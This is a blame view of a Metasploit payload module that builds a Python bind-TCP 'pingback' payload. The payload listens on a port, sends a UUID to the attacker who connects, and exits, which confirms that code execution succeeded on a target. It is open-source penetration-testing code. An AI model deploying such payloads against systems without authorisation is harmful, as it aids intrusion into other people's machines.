Files
metasploit-gs/modules/payloads/singles/python/pingback_bind_tcp.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

50 lines
1.2 KiB
Ruby
Raw Normal View History

2019-05-13 14:26:47 -05:00
module MetasploitModule
CachedSize = :dynamic
2019-05-13 14:26:47 -05:00
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Payload::Pingback
include Msf::Payload::Pingback::Options
2019-05-13 14:26:47 -05:00
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Python Pingback, Bind TCP (via python)',
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
'Author' => 'asoto-r7',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback,
'PayloadType' => 'python'
)
)
2019-05-13 14:26:47 -05:00
end
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
super.to_s + command_string
2019-05-13 14:26:47 -05:00
end
2019-05-13 14:26:47 -05:00
def command_string
self.pingback_uuid ||= generate_pingback_uuid
2019-07-29 11:55:51 -05:00
cmd = <<~PYTHON
import binascii as b
2019-07-29 11:55:51 -05:00
import socket as s
2019-07-30 10:14:41 -05:00
o=s.socket(s.AF_INET,s.SOCK_STREAM)
2019-07-29 14:00:09 -05:00
try:
2019-07-30 10:14:41 -05:00
o.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
o.bind(('0.0.0.0', #{datastore['LPORT']}))
2019-07-30 10:14:41 -05:00
o.listen(1)
o,addr=o.accept()
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
2019-07-30 10:14:41 -05:00
o.close()
2019-07-29 14:00:09 -05:00
except:
pass
2019-07-29 11:55:51 -05:00
PYTHON
2022-11-05 15:49:51 -04:00
py_create_exec_stub(cmd)
2019-05-13 14:26:47 -05:00
end
end